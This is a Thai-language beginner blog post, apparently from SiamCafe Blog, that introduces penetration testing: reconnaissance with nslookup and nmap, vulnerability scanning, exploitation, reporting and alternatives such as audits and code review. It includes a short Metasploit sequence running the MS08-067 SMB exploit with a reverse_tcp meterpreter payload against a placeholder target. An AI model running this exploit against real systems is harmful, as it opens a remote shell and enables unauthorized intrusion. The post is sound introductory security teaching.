IT General
น้องๆ เคยได้ยินคำว่า "Penetration Testing" หรือ "Pentest" กันใช่ไหม? สมัยผมทำร้านเน็ต SiamCafe.net เมื่อนานมาแล้ว (ตั้งแต่ปี 1997 นู่น!) เรื่องความปลอดภัยเนี่ย สำคัญสุดๆ เพราะลูกค้าฝากข้อมูลไว้กับเราเยอะแยะ Pentest ก็เหมือนการที่เราจ้างโจร (แบบมีจริยธรรมนะ!) มาลองงัดแงะบ้านเรา เพื่อหาว่ามีช่องโหว่ตรงไหนบ้าง
คิดง่ายๆ เหมือนเรามีบ้าน Pentest คือการที่เราจ้างนักสืบ (ethical hacker) มาลองปีนรั้ว งัดหน้าต่าง หรือแอบเข้าทางหลังบ้าน ถ้าเค้าเข้าได้ เค้าก็จะบอกเราว่า "พี่ๆ ตรงนี้ไม่ดีนะ ล็อคไม่แน่น" เราก็จะได้รีบแก้ไขก่อนที่โจรจริงๆ จะมาทำ
ทำไมถึงสำคัญ? เพราะทุกวันนี้โลกออนไลน์มันซับซ้อนขึ้นเยอะ เว็บ, แอป, ระบบต่างๆ มันเชื่อมต่อกันหมด ช่องโหว่นิดเดียว อาจจะทำให้ข้อมูลรั่วไหล, ระบบล่ม, หรือโดนแฮ็กจนหมดตัวได้เลยนะน้อง การทำ Pentest ช่วยให้เราป้องกันปัญหาเหล่านี้ได้ก่อนที่จะเกิดขึ้นจริง
ก่อนจะไป Pentest เค้าได้ เราต้องเข้าใจ Network ก่อนนะ รู้ว่า IP Address คืออะไร, Port คืออะไร, Protocol ต่างๆ ทำงานยังไง เหมือนเราจะไปซ่อมรถ เราก็ต้องรู้ก่อนว่าเครื่องยนต์มันทำงานยังไง
สมัยก่อน ผมต้อง config Router เองทุกอย่าง ตั้งแต่ IP Address, DNS, Gateway... โอ้โห วุ่นวายสุดๆ แต่ก็ทำให้เราเข้าใจ Network อย่างลึกซึ้ง ถ้าใครอยากเก่ง Pentest ต้องเริ่มจากตรงนี้แหละ
ต้องเข้าใจเรื่อง Security ด้วยนะน้อง เช่น Authentication, Authorization, Encryption... รู้ว่าทำไมเราต้องใช้ Password ที่แข็งแรง, ทำไมเราต้องเข้ารหัสข้อมูล เรื่องพวกนี้สำคัญมาก เพราะมันคือพื้นฐานของการป้องกันภัยคุกคาม
เคยเจอเคสลูกค้าตั้ง Password ง่ายๆ "123456" นี่ประจำเลย! พอโดน Hack ก็มาโวยวาย เราต้องให้ความรู้เค้าเรื่อง Security ให้มากๆ นะ
เครื่องมือส่วนใหญ่ที่ใช้ในการ Pentest มักจะรันบน Linux ดังนั้นถ้าเราไม่คุ้นเคยกับ Linux เลย ก็จะลำบากหน่อย แต่ไม่ต้องกลัวนะน้อง ค่อยๆ เรียนรู้ไป เริ่มจากลองใช้ Virtual Machine ติดตั้ง Linux ดูก่อนก็ได้
ผมเองก็เริ่มจาก Linux เหมือนกัน สมัยก่อนต้อง compile Kernel เองด้วยซ้ำ! แต่พอเข้าใจแล้ว มันก็สนุกนะ
เริ่มต้น Pentest ไม่ยากอย่างที่คิด แต่ต้องมีสเต็ปนะน้อง อย่าใจร้อน ค่อยๆ ทำตามขั้นตอน เหมือนเราทำอาหาร ต้องเตรียมวัตถุดิบก่อน แล้วค่อยลงมือปรุง
ขั้นแรกคือการสำรวจเป้าหมาย เก็บข้อมูลให้ได้มากที่สุด เช่น Domain Name, IP Address, Server Technology, Email Address... ยิ่งเรารู้เยอะ เราก็ยิ่งมีโอกาสหาช่องโหว่เจอ
สมัยก่อนผมใช้เครื่องมือง่ายๆ เช่น nslookup, whois... แต่เดี๋ยวนี้มีเครื่องมือที่ฉลาดกว่าเยอะ ลองศึกษาดูนะน้อง
nslookup siamcafe.net
หลังจากที่เราได้ข้อมูลมาแล้ว ก็เอามาสแกนหาช่องโหว่ ใช้เครื่องมือต่างๆ เช่น Nessus, OpenVAS... เครื่องมือพวกนี้จะช่วยเราหาช่องโหว่ที่ระบบของเรามี
แต่ต้องระวังนะน้อง การสแกนช่องโหว่อาจจะทำให้ระบบล่มได้ ดังนั้นต้องทำด้วยความระมัดระวัง และควรทำในสภาพแวดล้อมที่เป็น Test Environment ก่อน
เมื่อเราเจอช่องโหว่แล้ว ก็ถึงเวลาเจาะ! ใช้เครื่องมือต่างๆ เช่น Metasploit เพื่อเจาะเข้าไปในระบบ ขั้นตอนนี้ต้องใช้ความรู้และทักษะพอสมควร ถ้าไม่ระวังอาจจะทำให้ระบบเสียหายได้
สมัยก่อนผมต้องเขียน Exploit เองด้วยซ้ำ! แต่เดี๋ยวนี้มี Exploit สำเร็จรูปให้ใช้เยอะแยะ แต่ก็ต้องเข้าใจหลักการทำงานของมันด้วยนะ
# Metasploit Example (Simplified)
use exploit/windows/smb/ms08_067_netapi
set RHOST target_ip_address
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your_ip_address
exploit
หลังจากที่เรา Pentest เสร็จแล้ว สิ่งที่สำคัญที่สุดคือการทำรายงาน อธิบายว่าเราเจออะไรบ้าง ช่องโหว่อยู่ตรงไหน และวิธีการแก้ไขคืออะไร รายงานที่ดีจะช่วยให้ทีมงานเข้าใจปัญหาและแก้ไขได้อย่างถูกต้อง
อย่าลืมเขียนให้เข้าใจง่ายนะน้อง ไม่ใช่ทุกคนที่จะเข้าใจศัพท์เทคนิค พยายามอธิบายให้คนทั่วไปเข้าใจได้ด้วย
หลังจากได้รับรายงานแล้ว ก็ถึงเวลาแก้ไขช่องโหว่ต่างๆ อาจจะต้องอัพเดทซอฟต์แวร์, ปรับปรุง Configuration, หรือเขียน Code ใหม่ การแก้ไขช่องโหว่เป็นกระบวนการที่ต่อเนื่อง ต้องทำอย่างสม่ำเสมอ
สมัยผมทำร้านเน็ต ก็ต้องคอยอัพเดท Patch อยู่เรื่อยๆ เพราะมีช่องโหว่ใหม่ๆ เกิดขึ้นตลอดเวลา
Pentest ไม่ใช่ทางเลือกเดียวในการรักษาความปลอดภัย ยังมีทางเลือกอื่นๆ อีก เช่น Vulnerability Assessment, Security Audit, Code Review... แต่ละทางเลือกก็มีข้อดีข้อเสียต่างกัน เราต้องเลือกให้เหมาะสมกับความต้องการของเรา
Vulnerability Assessment จะคล้ายๆ Pentest แต่จะเน้นที่การสแกนหาช่องโหว่ ส่วน Security Audit จะเน้นที่การตรวจสอบนโยบายและกระบวนการรักษาความปลอดภัย Code Review จะเน้นที่การตรวจสอบ Code เพื่อหา Bug และช่องโหว่
อ่านข้อมูลเพิ่มเติมได้ที่ SiamCafe Blog นะน้อง
| ทางเลือก | ข้อดี | ข้อเสีย | เหมาะกับ |
|---|---|---|---|
| Penetration Testing | จำลองการโจมตีจริง, หาช่องโหว่ที่ซับซ้อนได้ | ใช้เวลาและทรัพยากรมาก, อาจจะทำให้ระบบเสียหายได้ | ระบบที่ต้องการความปลอดภัยสูง, ระบบที่สำคัญ |
| Vulnerability Assessment | รวดเร็ว, ราคาถูก | หาได้แต่ช่องโหว่ที่รู้จัก, ไม่ได้จำลองการโจมตีจริง | ระบบที่ไม่ต้องการความปลอดภัยสูงมาก, ระบบที่ต้องการตรวจสอบเบื้องต้น |
| Security Audit | ตรวจสอบนโยบายและกระบวนการ, ช่วยให้มั่นใจว่าทำตามมาตรฐาน | ไม่ได้หาช่องโหว่ทางเทคนิค | องค์กรที่ต้องการทำตามมาตรฐาน, องค์กรที่ต้องการปรับปรุงกระบวนการรักษาความปลอดภัย |
| Code Review | หา Bug และช่องโหว่ใน Code ได้ตั้งแต่เนิ่นๆ | ต้องใช้ผู้เชี่ยวชาญ, ใช้เวลา | โครงการพัฒนาซอฟต์แวร์ |
หวังว่าบทความนี้จะเป็นประโยชน์กับน้องๆ นะ ถ้ามีคำถามอะไรเพิ่มเติม ก็ถามมาได้เลย หรือจะลองเข้าไปอ่านบทความอื่นๆ ใน SiamCafe Blog ดูก็ได้ ขอให้สนุกกับการเรียนรู้เรื่อง Pentest นะ!
น้องๆ หลายคนถามมาว่า "พี่บอมครับ ทำยังไงถึงจะเก่ง Penetration Testing แบบพี่" เอาจริงๆ นะ มันไม่มีสูตรสำเร็จตายตัวหรอก สมัยผมทำร้านเน็ต SiamCafe นี่เจอสารพัดปัญหา แต่สิ่งที่ทำให้เราอยู่รอดมาได้คือการเรียนรู้ตลอดเวลา และไม่กลัวที่จะลองผิดลองถูก
Penetration Testing ก็เหมือนกัน ต้องฝึกฝนเยอะๆ อ่านเยอะๆ และที่สำคัญที่สุดคือ "ทำความเข้าใจ" ในสิ่งที่กำลังทดสอบ ไม่ใช่แค่ copy paste command อย่างเดียว
1. เริ่มจาก Information Gathering: น้องๆ หลายคนมองข้ามขั้นตอนนี้ไป แต่จริงๆ แล้วมันสำคัญมาก เหมือนเราจะไปรบ ก็ต้องรู้ก่อนว่าศัตรูคือใคร มีกำลังเท่าไหร่ ใช้อาวุธอะไรบ้าง เครื่องมือที่ผมใช้ประจำก็คือ nmap, whois, และ Google dorks (อันนี้ของฟรีแต่แรง)
nmap -A -T4 target.com
2. ใช้ Vulnerability Scanner อย่างมีสติ: เครื่องมือพวก Nessus, OpenVAS มันช่วยเราหาช่องโหว่ได้ก็จริง แต่ไม่ใช่ทุกอย่างที่มันบอกจะถูกต้อง 100% ต้องเอามาวิเคราะห์ต่อด้วยว่ามันเป็นช่องโหว่จริงๆ หรือ False Positive
3. Exploit Frameworks: พวก Metasploit เนี่ยของมันแรงจริง แต่ระวังอย่าใช้แบบไม่คิดหน้าคิดหลัง เพราะมันอาจจะทำให้ระบบล่มได้ สมัยผมเคยเจอเคสที่น้องฝึกงานรัน exploit มั่วซั่ว จน server ลูกค้าดับไปเลย ต้องรีบวิ่งไปขอโทษแทบไม่ทัน
4. Report Writing: การเขียนรายงานที่ดี สำคัญพอๆ กับการหาช่องโหว่ได้เลย ต้องเขียนให้ชัดเจน เข้าใจง่าย และเสนอแนวทางการแก้ไขด้วย ไม่ใช่แค่บอกว่า "เจอช่องโหว่นะ ไปแก้เอาเอง"
iCafeForexสมัยผมทำร้านเน็ต ช่องโหว่ที่เจอบ่อยที่สุดคือพวก SQL Injection กับ Cross-Site Scripting (XSS) เพราะเว็บสมัยก่อนเขียน code ไม่ค่อย secure แต่ปัจจุบันก็ยังมีให้เห็นอยู่เรื่อยๆ นะ
ไม่ต้องถึงขั้นเทพ coding หรอก แต่ต้องอ่าน code เป็น เข้าใจ logic ของโปรแกรม และสามารถเขียน script ง่ายๆ ได้บ้าง เช่น Python หรือ Bash
Certifications มันก็เหมือนใบเบิกทาง แต่ประสบการณ์สำคัญกว่า ถ้ามีงบประมาณก็ลองดูพวก OSCP, CEH, หรือ CISSP แต่ถ้าไม่มีก็ไม่ต้องซีเรียส เก็บเงินไว้ซื้อ pizza กินตอนทำ lab ดีกว่า
Nmap, Burp Suite, Metasploit, Wireshark พวกนี้เป็นพื้นฐานที่ต้องรู้ แต่จริงๆ แล้วมันมี tools อีกเยอะแยะมากมาย ขึ้นอยู่กับว่าเราจะเจาะระบบอะไร
Penetration Testing เป็นศาสตร์ที่ต้องเรียนรู้ตลอดเวลา ไม่มีทางลัดสู่ความสำเร็จ ต้องขยันฝึกฝน ศึกษาหาความรู้เพิ่มเติม และที่สำคัญคือ "สนุก" กับมัน ถ้าเราสนุกกับสิ่งที่ทำ เราก็จะทำมันได้ดี
อย่าลืมติดตาม SiamCafe Blog นะครับ ผมจะพยายามเขียนบทความเกี่ยวกับ IT Security มาให้อ่านกันเรื่อยๆ